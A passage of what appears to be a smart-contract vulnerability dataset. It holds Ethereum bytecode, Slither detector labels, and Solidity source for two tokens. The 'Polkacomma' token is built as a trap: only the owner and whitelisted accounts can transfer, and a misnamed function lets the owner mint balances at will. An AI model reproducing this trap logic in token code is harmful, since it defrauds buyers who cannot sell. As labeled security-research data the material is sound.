5260040161060590611aa2565b601855565b6000546001600160a01b031633146109f25760405162461bcd60e51b815260040161060590611aa2565b600893909355600a91909155600955600b55565b6000610695338484610b9c565b6013546001600160a01b0316336001600160a01b031614610a3357600080fd5b6000610a3e3061088c565b905061088981611197565b6000546001600160a01b03163314610a735760405162461bcd60e51b815260040161060590611aa2565b601755565b6001600160a01b038316610ada5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610605565b6001600160a01b038216610b3b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610605565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610605565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610605565b60008111610cc45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610605565b6000546001600160a01b03848116911614801590610cf057506000546001600160a01b03838116911614155b15610f9257601554600160a01b900460ff16610d94576001600160a01b03831660009081526011602052604090205460ff16610d945760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610605565b601654811115610de65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610605565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2857506001600160a01b03821660009081526010602052604090205460ff16155b610e805760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610605565b6015546001600160a01b03838116911614610f055760175481610ea28461088c565b610eac9190611b47565b10610f055760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610605565b6000610f103061088c565b601854601654919250821015908210610f295760165491505b808015610f405750601554600160a81b900460ff16155b8015610f5a57506015546001600160a01b03868116911614155b8015610f6f5750601554600160b01b900460ff165b15610f8f57610f7d82611197565b478015610f8d57610f8d476110d9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fd457506001600160a01b03831660009081526005602052604090205460ff165b8061100657506015546001600160a01b0385811691161480159061100657506015546001600160a01b03848116911614155b156110135750600061108d565b6015546001600160a01b03858116911614801561103e57506014546001600160a01b03848116911614155b1561105057600854600c55600954600d555b6015546001600160a01b03848116911614801561107b57506014546001600160a01b03858116911614155b1561108d57600a54600c55600b54600d555b6110998484848461133c565b50505050565b600081848411156110c35760405162461bcd60e51b81526004016106059190611a4f565b5060006110d08486611b9e565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610684573d6000803e3d6000fd5b600060065482111561117a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610605565b600061118461136a565b9050611190838261138d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ed57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561124157600080fd5b505afa158015611255573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112799190611832565b8160018151811061129a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112c09130911684610a78565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f9908590600090869030904290600401611ad7565b600060405180830381600087803b15801561131357600080fd5b505af1158015611327573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611349576113496113cf565b6113548484846113fd565b8061109957611099600e54600c55600f54600d55565b60008060006113776114f4565b9092509050611386828261138d565b9250505090565b600061119083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611538565b600c541580156113df5750600d54155b156113e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061140f87611566565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144190876115c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114709086611605565b6001600160a01b03891660009081526002602052604090205561149281611664565b61149c84836116ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e191815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af6800000611511828261138d565b82101561152f5750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115595760405162461bcd60e51b81526004016106059190611a4f565b5060006110d08486611b5f565b60008060008060008060008060006115838a600c54600d546116d2565b925092509250600061159361136a565b905060008060006115a68e878787611727565b919e509c509a509598509396509194505050505091939550919395565b600061119083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061109f565b6000806116128385611b47565b9050838110156111905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610605565b600061166e61136a565b9050600061167c8383611777565b306000908152600260205260409020549091506116999082611605565b30600090815260026020526040902055505050565b6006546116bb90836115c3565b6006556007546116cb9082611605565b6007555050565b60008080806116ec60646116e68989611777565b9061138d565b905060006116ff60646116e68a89611777565b90506000611717826117118b866115c3565b906115c3565b9992985090965090945050505050565b60008080806117368886611777565b905060006117448887611777565b905060006117528888611777565b905060006117648261171186866115c3565b939b939a50919850919650505050505050565b60008261178657506000610699565b60006117928385611b7f565b90508261179f8583611b5f565b146111905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610605565b803561180181611bfc565b919050565b8035801515811461180157600080fd5b600060208284031215611827578081fd5b813561119081611bfc565b600060208284031215611843578081fd5b815161119081611bfc565b60008060408385031215611860578081fd5b823561186b81611bfc565b9150602083013561187b81611bfc565b809150509250929050565b60008060006060848603121561189a578081fd5b83356118a581611bfc565b925060208401356118b581611bfc565b929592945050506040919091013590565b600080604083850312156118d8578182fd5b82356118e381611bfc565b91506118f160208401611806565b90509250929050565b6000806040838503121561190c578182fd5b823561191781611bfc565b946020939093013593505050565b60006020808385031215611937578182fd5b823567ffffffffffffffff8082111561194e578384fd5b818501915085601f830112611961578384fd5b81358181111561197357611973611be6565b8060051b604051601f19603f8301168101818110858211171561199857611998611be6565b604052828152858101935084860182860187018a10156119b6578788fd5b8795505b838610156119df576119cb816117f6565b8552600195909501949386019386016119ba565b5098975050505050505050565b6000602082840312156119fd578081fd5b61119082611806565b600060208284031215611a17578081fd5b5035919050565b60008060008060808587031215611a33578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7b57858101830151858201604001528201611a5f565b81811115611a8c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b265784516001600160a01b031683529383019391830191600101611b01565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5a57611b5a611bd0565b500190565b600082611b7a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9957611b99611bd0565b500290565b600082821015611bb057611bb0611bd0565b500390565b6000600019821415611bc957611bc9611bd0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c22b27d7aaf4294627afa7cd12c2648b43c8f56b0544c63e274f170bb958cb3b64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,196 |
0x48e96798cc9dc0db796d7fdda27a112d699b0591 | /**
*Submitted for verification at Etherscan.io on 2021-02-11
*/
//Welcome to Polkacomma
//Website: https://www.polkacomma.com
//Twitter: https://twitter.com/polkacomma
//Telegram: https://t.me/polkacomma
//Medium: https://polkacomma.medium.com
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Polkacomma {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f146101dd57806370a082311461021657806395d89b4114610249578063a9059cbb1461025e578063dd62ed3e1461028a578063e8b5b796146102c55761009c565b806306fdde03146100a1578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610192578063313ce567146101c8575b600080fd5b3480156100ad57600080fd5b506100b66102f8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610386565b604080519115158252519081900360200190f35b34801561017757600080fd5b506101806103ed565b60408051918252519081900360200190f35b610157600480360360608110156101a857600080fd5b506001600160a01b038135811691602081013590911690604001356103f3565b3480156101d457600080fd5b50610180610528565b3480156101e957600080fd5b506101576004803603604081101561020057600080fd5b506001600160a01b03813516906020013561052d565b34801561022257600080fd5b506101806004803603602081101561023957600080fd5b50356001600160a01b031661059c565b34801561025557600080fd5b506100b66105ae565b6101576004803603604081101561027457600080fd5b506001600160a01b038135169060200135610609565b34801561029657600080fd5b50610180600480360360408110156102ad57600080fd5b506001600160a01b0381358116916020013516610616565b3480156102d157600080fd5b50610157600480360360208110156102e857600080fd5b50356001600160a01b0316610633565b6009805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60085481565b60008161040257506001610521565b336001600160a01b0385161461046d576001600160a01b038416600090815260076020908152604080832033845290915290205482111561044257600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b610478848484610672565b61048157600080fd5b6001600160a01b0384166000908152600660205260409020548211156104a657600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b600b546000906001600160a01b0316331461054757600080fd5b8115610573576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b50506001600160a01b03166000908152600160208190526040909120805460ff19168217905590565b60066020526000908152604090205481565b600a805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037e5780601f106103535761010080835404028352916020019161037e565b60006105213384846103f3565b600760209081526000928352604080842090915290825290205481565b600b546000906001600160a01b0316331461064d57600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b600b546000906001600160a01b038581169116148061069e5750600b546001600160a01b038481169116145b806106b657506005546001600160a01b038581169116145b806106d957506001600160a01b03841660009081526001602052604090205460ff165b156106e657506001610521565b6106f08483610703565b6106f957600080fd5b5060019392505050565b600060045460001480156107175750600254155b80156107235750600354155b15610730575060006103e7565b60045415610761576004546001600160a01b03841660009081526020819052604090205410610761575060006103e7565b6002541561077b5781600254111561077b575060006103e7565b6003541561079557600354821115610795575060006103e7565b5060019291505056fea265627a7a723158200ad213e917b6c8c26ce0f27d70413af3b08f66a6b8fd34ea0bb72cc9494e39d764736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,197 |
0xf1d353199fdf1f1b8a1ccd641611129137a40aec | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "Geton Coin";
_symbol = "GETON";
_mint(_msgSender(), 154200000000000000);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 8;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611015565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610ffa565b60405180910390f35b610104610326565b6040516101119190611117565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610ffa565b60405180910390f35b610152610431565b60405161015f9190611132565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610ffa565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190611117565b60405180910390f35b6101d061052e565b6040516101dd9190611015565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610ffa565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610ffa565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190611117565b60405180910390f35b6060600380546102859061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061127b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b8201919060005